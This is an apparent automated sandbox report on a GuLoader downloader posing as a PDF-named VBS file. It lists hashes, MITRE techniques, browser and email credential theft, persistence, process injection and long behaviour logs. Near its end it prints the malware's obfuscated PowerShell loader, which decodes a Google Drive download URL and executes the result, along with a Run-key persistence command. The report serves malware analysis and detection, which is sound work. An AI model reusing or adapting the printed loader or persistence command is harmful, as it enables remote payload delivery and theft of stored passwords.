guloader | 569e7a854cbade3720fef90d7fa6168acf2758d4f885bc6fb9bb62ffc7b6586d

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
06/09/2024, 07:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0000875396597·pdf.vbs
Size 30KB
Sample240906-h5h5nstdjf
SHA256 569e7a854cbade3720fef90d7fa6168acf2758d4f885bc6fb9bb62ffc7b6586d
MD5 bb28ef297cfb3d1f4fa2b16058c0025f
SHA1 4c8fa31f7ec0fd19b5083f69ab603898e145a4e7
SHA512 e4c6c1efbe5802d3af18b78a741ff2714b86b110f24fccbc8eb63b3eb2bb2fc8f787154bc441ce09542c3d33d4cb4da9aa422f3ed5555a2e866de21bab1a33b8
SSDEEP 192:J2zLBF767GjhERV13xnm4w80xwXbgfy4EemQCzOv1g/roKQteACZ/NTncUuN:ga7O8Vznm4w80xwLggx4Wr+tBCfTncUm
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection credential_access discovery downloader execution persistence stealer

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3112-73-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2888-74-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3364-75-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3112-73-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3364-75-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	2916	powershell.exe
17	2916	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Catacaustic = "%Snydertampens% -w 1 $Lejrudstyrene=(Get-ItemProperty -Path 'HKCU:\\Blodhundens\\').Indstiftelser;%Snydertampens% ($Lejrudstyrene)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2916	powershell.exe
3744	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
14	drive.google.com
15	drive.google.com
27	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
5100	wab.exe
5100	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3744	powershell.exe
5100	wab.exe

Suspicious use of SetThreadContext 64 IoCs

description	pid	Process	procid_target
PID 3744 set thread context of 5100	3744	powershell.exe	98
PID 5100 set thread context of 3724	5100	wab.exe	103
PID 5100 set thread context of 1840	5100	wab.exe	106
PID 5100 set thread context of 3364	5100	wab.exe	108
PID 5100 set thread context of 3112	5100	wab.exe	109
PID 5100 set thread context of 2888	5100	wab.exe	110
PID 5100 set thread context of 4772	5100	wab.exe	111
PID 5100 set thread context of 3304	5100	wab.exe	112
PID 5100 set thread context of 4584	5100	wab.exe	113
PID 5100 set thread context of 2880	5100	wab.exe	114
PID 5100 set thread context of 4388	5100	wab.exe	115
PID 5100 set thread context of 3168	5100	wab.exe	116
PID 5100 set thread context of 4264	5100	wab.exe	117
PID 5100 set thread context of 3864	5100	wab.exe	118
PID 5100 set thread context of 2900	5100	wab.exe	119
PID 5100 set thread context of 388	5100	wab.exe	120
PID 5100 set thread context of 4884	5100	wab.exe	121
PID 5100 set thread context of 3564	5100	wab.exe	122
PID 5100 set thread context of 4976	5100	wab.exe	123
PID 5100 set thread context of 2920	5100	wab.exe	124
PID 5100 set thread context of 3164	5100	wab.exe	125
PID 5100 set thread context of 2392	5100	wab.exe	126
PID 5100 set thread context of 1312	5100	wab.exe	127
PID 5100 set thread context of 4792	5100	wab.exe	128
PID 5100 set thread context of 3128	5100	wab.exe	129
PID 5100 set thread context of 4592	5100	wab.exe	130
PID 5100 set thread context of 752	5100	wab.exe	131
PID 5100 set thread context of 3136	5100	wab.exe	132
PID 5100 set thread context of 4232	5100	wab.exe	133
PID 5100 set thread context of 1816	5100	wab.exe	134
PID 5100 set thread context of 5028	5100	wab.exe	135
PID 5100 set thread context of 956	5100	wab.exe	136
PID 5100 set thread context of 396	5100	wab.exe	137
PID 5100 set thread context of 1888	5100	wab.exe	138
PID 5100 set thread context of 1640	5100	wab.exe	139
PID 5100 set thread context of 3248	5100	wab.exe	140
PID 5100 set thread context of 1556	5100	wab.exe	141
PID 5100 set thread context of 1524	5100	wab.exe	142
PID 5100 set thread context of 2452	5100	wab.exe	143
PID 5100 set thread context of 2268	5100	wab.exe	144
PID 5100 set thread context of 3940	5100	wab.exe	145
PID 5100 set thread context of 1076	5100	wab.exe	146
PID 5100 set thread context of 1456	5100	wab.exe	147
PID 5100 set thread context of 3964	5100	wab.exe	148
PID 5100 set thread context of 1968	5100	wab.exe	149
PID 5100 set thread context of 3656	5100	wab.exe	150
PID 5100 set thread context of 1412	5100	wab.exe	151
PID 5100 set thread context of 3228	5100	wab.exe	152
PID 5100 set thread context of 4220	5100	wab.exe	153
PID 5100 set thread context of 1936	5100	wab.exe	154
PID 5100 set thread context of 5020	5100	wab.exe	155
PID 5100 set thread context of 640	5100	wab.exe	156
PID 5100 set thread context of 3300	5100	wab.exe	157
PID 5100 set thread context of 3264	5100	wab.exe	158
PID 5100 set thread context of 5076	5100	wab.exe	159
PID 5100 set thread context of 1072	5100	wab.exe	160
PID 5100 set thread context of 2456	5100	wab.exe	161
PID 5100 set thread context of 3144	5100	wab.exe	162
PID 5100 set thread context of 3876	5100	wab.exe	163
PID 5100 set thread context of 4276	5100	wab.exe	164
PID 5100 set thread context of 2064	5100	wab.exe	165
PID 5100 set thread context of 1564	5100	wab.exe	166
PID 5100 set thread context of 1108	5100	wab.exe	167
PID 5100 set thread context of 4668	5100	wab.exe	168

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

Modifies registry class 60 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	svchost.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1640	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2916	powershell.exe
2916	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
2888	wab.exe
2888	wab.exe
3364	wab.exe
3364	wab.exe
3364	wab.exe
3364	wab.exe

Suspicious behavior: MapViewOfSection 64 IoCs

pid	Process
3744	powershell.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe
5100	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	2888	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5100	wab.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 2916	3692	WScript.exe	86
PID 3692 wrote to memory of 2916	3692	WScript.exe	86
PID 2916 wrote to memory of 4044	2916	powershell.exe	88
PID 2916 wrote to memory of 4044	2916	powershell.exe	88
PID 2916 wrote to memory of 3744	2916	powershell.exe	96
PID 2916 wrote to memory of 3744	2916	powershell.exe	96
PID 2916 wrote to memory of 3744	2916	powershell.exe	96
PID 3744 wrote to memory of 2792	3744	powershell.exe	97
PID 3744 wrote to memory of 2792	3744	powershell.exe	97
PID 3744 wrote to memory of 2792	3744	powershell.exe	97
PID 3744 wrote to memory of 5100	3744	powershell.exe	98
PID 3744 wrote to memory of 5100	3744	powershell.exe	98
PID 3744 wrote to memory of 5100	3744	powershell.exe	98
PID 3744 wrote to memory of 5100	3744	powershell.exe	98
PID 3744 wrote to memory of 5100	3744	powershell.exe	98
PID 5100 wrote to memory of 3544	5100	wab.exe	99
PID 5100 wrote to memory of 3544	5100	wab.exe	99
PID 5100 wrote to memory of 3544	5100	wab.exe	99
PID 3544 wrote to memory of 1640	3544	cmd.exe	101
PID 3544 wrote to memory of 1640	3544	cmd.exe	101
PID 3544 wrote to memory of 1640	3544	cmd.exe	101
PID 5100 wrote to memory of 3724	5100	wab.exe	103
PID 5100 wrote to memory of 3724	5100	wab.exe	103
PID 5100 wrote to memory of 3724	5100	wab.exe	103
PID 5100 wrote to memory of 3724	5100	wab.exe	103
PID 5100 wrote to memory of 1840	5100	wab.exe	106
PID 5100 wrote to memory of 1840	5100	wab.exe	106
PID 5100 wrote to memory of 1840	5100	wab.exe	106
PID 5100 wrote to memory of 1840	5100	wab.exe	106
PID 5100 wrote to memory of 4304	5100	wab.exe	107
PID 5100 wrote to memory of 4304	5100	wab.exe	107
PID 5100 wrote to memory of 4304	5100	wab.exe	107
PID 5100 wrote to memory of 3364	5100	wab.exe	108
PID 5100 wrote to memory of 3364	5100	wab.exe	108
PID 5100 wrote to memory of 3364	5100	wab.exe	108
PID 5100 wrote to memory of 3364	5100	wab.exe	108
PID 5100 wrote to memory of 3112	5100	wab.exe	109
PID 5100 wrote to memory of 3112	5100	wab.exe	109
PID 5100 wrote to memory of 3112	5100	wab.exe	109
PID 5100 wrote to memory of 3112	5100	wab.exe	109
PID 5100 wrote to memory of 2888	5100	wab.exe	110
PID 5100 wrote to memory of 2888	5100	wab.exe	110
PID 5100 wrote to memory of 2888	5100	wab.exe	110
PID 5100 wrote to memory of 2888	5100	wab.exe	110
PID 5100 wrote to memory of 4772	5100	wab.exe	111
PID 5100 wrote to memory of 4772	5100	wab.exe	111
PID 5100 wrote to memory of 4772	5100	wab.exe	111
PID 5100 wrote to memory of 4772	5100	wab.exe	111
PID 5100 wrote to memory of 3304	5100	wab.exe	112
PID 5100 wrote to memory of 3304	5100	wab.exe	112
PID 5100 wrote to memory of 3304	5100	wab.exe	112
PID 5100 wrote to memory of 3304	5100	wab.exe	112
PID 5100 wrote to memory of 4584	5100	wab.exe	113
PID 5100 wrote to memory of 4584	5100	wab.exe	113
PID 5100 wrote to memory of 4584	5100	wab.exe	113
PID 5100 wrote to memory of 4584	5100	wab.exe	113
PID 5100 wrote to memory of 2880	5100	wab.exe	114
PID 5100 wrote to memory of 2880	5100	wab.exe	114
PID 5100 wrote to memory of 2880	5100	wab.exe	114
PID 5100 wrote to memory of 2880	5100	wab.exe	114
PID 5100 wrote to memory of 4388	5100	wab.exe	115
PID 5100 wrote to memory of 4388	5100	wab.exe	115
PID 5100 wrote to memory of 4388	5100	wab.exe	115
PID 5100 wrote to memory of 4388	5100	wab.exe	115

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0000875396597·pdf.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.Name) {$Melanoplakia++;$Chimla+='subst';$Chimla+='r';}$Chimla+='ing';Function Sknhedskonkurrencen($transferers){$Lavtrykkene=$transferers.Length-$Melanoplakia;For( $Anstndigstes=5;$Anstndigstes -lt $Lavtrykkene;$Anstndigstes+=6){$Nitrosomonas+=$transferers.$Chimla.'Invoke'( $Anstndigstes, $Melanoplakia);}$Nitrosomonas;}function Rkkeflgernes($Sknnes62){ . ($Jeppes) ($Sknnes62);}$Nonbitter=Sknhedskonkurrencen 'ForndM BaraoJ,lefzKons,iElisolArnbjl ,ypuaLg,er/Over.5Chifr.Mon.h0 Phot Grun( ChorWLnmodi rugsn HudedPy,meoKorsewMedles Wone CatheN eturT A.oc R ps1Popdr0Infor.Goxes0Ab,om;Uover LiverW ,airi,nstrndkket6 Bell4 Efte;Kontr Y wfoxLogpe6.yano4Bumle;Forny g nglrBloksv S,ge:Lat,m1caste2bo.ta1 Mall.Paleo0Cleit)Bryg. P sswGPreeceLentncper.ikInculoMater/Selvb2 Fakt0Quarr1Produ0bibem0Fre.t1Septe0Cragg1Tolk. AcetyFDiatoipillorGranieFirebfJ,gtbo A,tixVespe/Depri1Indit2Kines1Pyja..Kamic0St,iv ';$Definitionsvinduets=Sknhedskonkurrencen 'NavneUspri,sBoo sePraktrNeg i-VkstpARalligBvsereTradunSkabtt.ilmm ';$Ferskvandsfisken=Sknhedskonkurrencen 'DyrskhKl,getParoxt umpkp uckssOroba:Unde,/Kalke/BaromdMeinsrB,aasidasy,vkultueskyld.GriffgKapsloDyrtioUndefgProcelOttareIdio,.HunkncFactooSautemBesti/R nteu DebacAalbe?Fr gteinterxScuddpDisavoParlorAutoftPosta= Combd ForsoBadevwA.oxyn Ra.elMesosobyplaaKigund Misn& AtomiSkib,dNasop=outco1 onnimaboutiDietif UdplBPsep,HMelleiFondsDFetisu Bes,OGengiJAbcsuHVede,chove.MPaaklDPer ol ByggEMede.RSpatiHAnmrk5 Chil2 ewysvPr.ntSLyven4AftllpModelHRufgaMEc he4Ato,eXSwoonDBreviG nydeJ Cart5Enhj. ';$Reguaranties=Sknhedskonkurrencen ' ryly>dkni ';$Jeppes=Sknhedskonkurrencen ' bonuiSubs.eUnsquxAltan ';$Bedsitter='Rektoren';$Misparting = Sknhedskonkurrencen 'M,rmoeSalamcWestehA.tero lun Leche%NulloaHjertpMet,opFasandBysbaakundetGarvea.trkn%Frimu\ Ho,nISem hnUnduldLiguraAttung bonkaNondet,eutre .ngd8Hypno3Ommes. S vvA Beoef salilUnd,r Sharn&Unpol&Fremm A,lsee F ricsmykkhIncruoHagls Crouct Jrgi ';Rkkeflgernes (Sknhedskonkurrencen 'Sophn$R.tirg,ndirlroussoAlni,b InanaGipsblCarl,: MiniHMuskae HistxAcrida R,invS,ilsa SnoblArbejeBvelsn RechtAdver= ntra( Sem,cBrankmAntard pr,f Braen/ BloucVaabe Redb$UnspeMUnfrui KabisHamo,pKammeaSynkorKlgtstP.nguiAlbumnRebotg Caco) Volc ');Rkkeflgernes (Sknhedskonkurrencen 'bourg$ 